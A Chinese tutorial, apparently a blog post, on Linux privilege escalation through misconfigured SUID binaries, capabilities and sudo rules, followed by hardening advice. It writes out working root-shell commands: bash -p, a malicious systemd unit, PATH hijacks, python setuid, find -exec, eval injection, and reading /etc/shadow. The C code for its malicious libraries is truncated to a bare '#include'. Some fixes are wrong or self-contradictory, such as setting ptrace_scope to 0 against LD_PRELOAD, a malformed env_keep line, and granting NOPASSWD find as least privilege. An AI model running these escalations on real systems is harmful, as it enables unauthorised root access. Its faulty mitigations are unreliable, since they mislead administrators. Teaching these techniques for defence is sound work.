内容
隐藏
1
SUID提权
1.1
SUID 配置不当提权
1.2
SUID systemctl 提权
1.3
$PATH 变量劫持
1.4
.so 共享对象库注入
1.5
Capabilities 机制提权
1.6
总结
2
SUDO提权
2.1
sudo权限分配不当
2.2
sudo脚本篡改
2.3
sudo脚本参数利用
2.4
sudo绕过路径执行
2.5
sudo LD_PRELOAD环境
2.6
sudo caching(时间窗口利用)
2.7
sudo令牌进程注入
3
防御措施
3.1
总结
浏览量 361
SUID提权
SUID 配置不当提权
原理: SUID(Set User ID)是一种特殊权限,允许普通用户以文件所有者的权限执行该文件。如果一个 SUID 程序没有经过严格的安全审计,或者可以执行 shell 命令,就可能被利用来提权。
示例: 假设 /usr/bin/bash 具有 SUID 位:
ls -l /usr/bin/bash-rwsr-xr-x 1 root root 1183448 Mar 8 11:12 /usr/bin/bash
因为 SUID 设置了 s,普通用户执行 bash 也会以 root 权限运行:
bash -pwhoami# root
修复方法:
不给不必要的程序赋予 SUID 权限。
使用 find / -perm -4000 2>/dev/null 检查系统中的 SUID 程序。
SUID systemctl 提权
https://haslet007.top/2025/03/20/suid-systemctl%e6%8f%90%e6%9d%83/
原理: 如果 systemctl 具有 SUID 位,则用户可以利用它来执行 root 权限的 systemd 服务,进而执行任意命令。
示例: 假设 systemctl 具有 SUID:
ls -l /bin/systemctl-rwsr-xr-x 1 root root 1583448 Mar 8 11:12 /bin/systemctl
攻击者创建一个 systemd 服务:
echo -e "[Unit]\nDescription=Evil Service\n\n[Service]\nType=simple\nExecStart=/bin/bash\n\n[Install]\nWantedBy=multi-user.target" > /tmp/evil.service
然后加载并运行:
systemctl link /tmp/evil.servicesystemctl enable evil.servicesystemctl start evil.service
这将以 root 权限运行 bash,从而获得 root shell。
修复方法:
移除 systemctl 的 SUID 位:chmod u-s /bin/systemctl
限制普通用户对 systemd 服务的修改权限。
$PATH 变量劫持
原理: 当程序执行命令时,如果没有提供完整路径(如 ls 而不是 /bin/ls),系统会按照 $PATH 变量的顺序查找可执行文件。如果管理员执行 sudo some_command 而 $PATH 中包含用户可写目录,攻击者可以在该目录下放置同名的恶意程序,诱导系统执行。
示例: 假设管理员误将用户可写目录 /tmp 放在 $PATH 的前面:
export PATH="/tmp:$PATH"
攻击者在 /tmp 目录创建一个假冒的 ls:
echo -e '#!/bin/bash\n/bin/bash' > /tmp/lschmod +x /tmp/ls
当管理员执行 ls 时,实际上运行的是 /tmp/ls,导致提权。
修复方法:
管理员应使用绝对路径执行命令,如 /bin/ls 而不是 ls。
确保 $PATH 变量中没有用户可写目录:echo $PATH
.so 共享对象库注入
原理: 动态链接库(.so 文件)在程序运行时被加载。如果程序使用 LD_PRELOAD 或 LD_LIBRARY_PATH,攻击者可以利用这些环境变量加载恶意的 .so 文件来劫持程序执行。
示例: 攻击者创建一个恶意共享库:
#include
编译:
gcc -shared -o /tmp/evil.so -fPIC evil.c
设置 LD_PRELOAD 变量:
export LD_PRELOAD=/tmp/evil.so
如果目标程序是 SUID 程序(如 sudo),执行时就会以 root 权限运行恶意代码。
修复方法:
禁用 SUID 程序继承 LD_PRELOAD:echo 0 > /proc/sys/kernel/yama/ptrace_scope
限制 /etc/ld.so.preload 的写权限:chmod 600 /etc/ld.so.preload
Capabilities 机制提权
原理: Linux capabilities 允许普通用户进程拥有 root 的部分特权。例如,cap_setuid 允许进程更改自身 UID,可能导致提权。
示例: 查找具有特殊 capabilities 的二进制文件:
getcap -r / 2>/dev/null
假设 /usr/bin/python3.8 具有 cap_setuid+ep:
getcap /usr/bin/python3.8/usr/bin/python3.8 = cap_setuid+ep
攻击者可利用它切换到 root:
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'whoami# root
修复方法:
移除不必要的 capabilities:sudo setcap -r /usr/bin/python3.8
限制普通用户对 capabilities 赋权的能力。
总结
提权方法
原理
例子
修复措施
SUID 配置不当
以 root 权限运行不安全 SUID 程序
SUID bash
只给必要的程序赋 SUID
SUID systemctl 提权
滥用 systemctl 启动 root 进程
创建恶意 systemd 服务
移除 systemctl SUID
$PATH 变量劫持
让系统运行用户控制的程序
创建假 ls
不在 $PATH 中放入用户可写目录
.so 共享对象注入
利用 LD_PRELOAD 劫持进程
编写恶意 .so
禁用 SUID 程序的 LD_PRELOAD
Capabilities 提权
滥用 Linux capabilities
cap_setuid+ep + Python
移除多余的 capabilities
SUDO提权
sudo权限分配不当
在 /etc/sudoers 或 /etc/sudoers.d/ 中,如果给了某些用户 NOPASSWD 访问特定命令的权限,攻击者可能利用这些命令提权。
例如:
user1 ALL=(ALL) NOPASSWD: /bin/cat
攻击者可以用 cat 读取敏感文件,如 /etc/shadow。
sudo脚本篡改
如果 sudo 允许执行某个脚本,而该脚本的路径是可写的,攻击者可以修改脚本内容来执行恶意命令。
例如:
sudo /usr/local/bin/myscript.sh
如果 /usr/local/bin/myscript.sh 可被非特权用户编辑,攻击者可以插入:
#!/bin/bash/bin/bash -p
执行 sudo /usr/local/bin/myscript.sh 后可获得 root shell。
sudo脚本参数利用
允许使用 sudo 运行的某些脚本可能接受用户输入并直接执行命令,攻击者可以注入恶意命令。
例如,sudo 允许运行:
sudo /usr/bin/somescript.sh "$USER_INPUT"
如果 somescript.sh 内部使用 eval 处理输入:
eval "$1"
那么攻击者可以输入:
sudo /usr/bin/somescript.sh "; /bin/bash -p"
直接获取 root shell。
sudo绕过路径执行
sudo 可能允许执行某些命令,如:
user1 ALL=(ALL) NOPASSWD: find
攻击者可以利用 find 的 -exec 选项:
sudo find . -exec /bin/bash -p \;
直接提权。
另外,如果 sudo 允许运行没有指定绝对路径的二进制文件:
user1 ALL=(ALL) NOPASSWD: somecommand
攻击者可以在 $HOME 目录创建同名的恶意可执行文件,并修改 PATH:
echo -e '#!/bin/bash\n/bin/bash -p' > somecommandchmod +x somecommandexport PATH=.:$PATHsudo somecommand # 运行的就是攻击者伪造的 `somecommand`
sudo LD_PRELOAD环境
LD_PRELOAD 允许攻击者劫持共享库,从而执行恶意代码。
某些情况下,sudo 可能允许执行某些二进制文件,但未清除环境变量:
sudo LD_PRELOAD=/path/to/malicious.so /usr/bin/somebinary
示例攻击: 创建一个恶意 .so 文件:
#include
编译:
gcc -shared -o malicious.so -fPIC malicious.c
执行:
sudo LD_PRELOAD=./malicious.so /usr/bin/find可能会获取 root shell。
sudo caching(时间窗口利用)
sudo 默认会缓存用户的身份验证信息一段时间(通常是 5 分钟)。
如果攻击者在这个时间窗口内执行 sudo,则不需要再次输入密码。
例如:
sudo ls# 现在 sudo 会话已激活,在 5 分钟内不需要密码
攻击者可以在这个时间窗口执行:
sudo /bin/bash -p
sudo令牌进程注入
sudo 认证后,会话令牌存储在 /var/run/sudo/ts/ 目录中。
通过 ptrace 或 /proc 注入攻击:
ps aux | grep sudo
获取 sudo 进程 ID 并使用 gdb 注入:
gdb -p
直接修改寄存器或执行恶意 shell 代码。
防御措施
最小权限原则
在 sudoers 中使用 Cmnd_Alias 和 ALL 以最小权限分配:
user1 ALL=(ALL) NOPASSWD: /usr/bin/find
应避免 NOPASSWD,并尽量精确控制参数。
限制环境变量
在 sudoers 中使用:
Defaults env_resetDefaults !env_keep += LD_PRELOAD
以防止 LD_PRELOAD 攻击。
指定完整路径
避免使用 ALL,而是严格限定路径:
user1 ALL=(ALL) NOPASSWD: /usr/bin/find
避免 find、vim 这些能执行 shell 命令的程序。
设置 sudo 会话超时
调整 sudoers 配置:
Defaults timestamp_timeout=0
让 sudo 每次都需要输入密码。
监控 /var/run/sudo/ts/
定期清理 sudo 令牌:
sudo -k
防止攻击者利用 sudo 缓存。
启用 auditd 监控 sudo 活动
通过 auditd 记录 sudo 操作:
auditctl -w /etc/sudoers -p wa -k sudo_changes
监控 sudoers 配置变更。
总结
sudo 的安全性依赖于配置和环境管理,必须正确配置 sudoers,避免 NOPASSWD 滥用。
严格限制 sudo 能执行的二进制文件,防止路径劫持和 LD_PRELOAD 逃逸。
使用 auditd 监控 sudo 操作,及时发现异常行为。